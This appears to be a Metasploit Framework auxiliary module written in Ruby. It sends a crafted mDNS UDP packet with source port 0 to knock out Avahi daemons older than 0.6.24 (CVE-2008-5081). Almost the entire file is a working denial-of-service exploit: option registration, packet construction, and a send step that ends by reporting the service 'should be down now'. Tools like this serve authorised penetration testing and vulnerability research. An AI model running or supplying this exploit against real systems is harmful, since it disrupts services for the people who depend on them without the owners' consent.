63 lines
1.4 KiB
Ruby
63 lines
1.4 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Capture
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include Msf::Auxiliary::Dos
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def initialize
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super(
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'Name' => 'Avahi < 0.6.24 Source Port 0 DoS',
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'Description' => %q{
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Avahi-daemon versions prior to 0.6.24 can be DoS'd
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with an mDNS packet with a source port of 0
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},
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'Author' => 'kris katterjohn',
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' => [
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[ 'CVE', '2008-5081' ],
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[ 'OSVDB', '50929' ],
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],
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'DisclosureDate' => 'Nov 14 2008')
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register_options([
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OptInt.new('RPORT', [true, 'The destination port', 5353])
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])
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deregister_options('FILTER','PCAPFILE')
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end
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def run
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open_pcap
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print_status("Sending to #{rhost}")
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p = PacketFu::UDPPacket.new
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p.ip_saddr = "0.0.0.0"
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p.ip_daddr = rhost
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p.ip_frag = 0x4000 # Original had ip frag flags set to 2 for some reason.
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p.udp_sport = 0 # That's the bug
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p.udp_dport = datastore['RPORT'].to_i
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p.payload = Rex::Text.rand_text(rand(0x20)) # UDP needs at least one data byte, may as well send a few.
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p.recalc
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capture_sendto(p, rhost)
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close_pcap
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print_status("Avahi should be down now")
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end
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end
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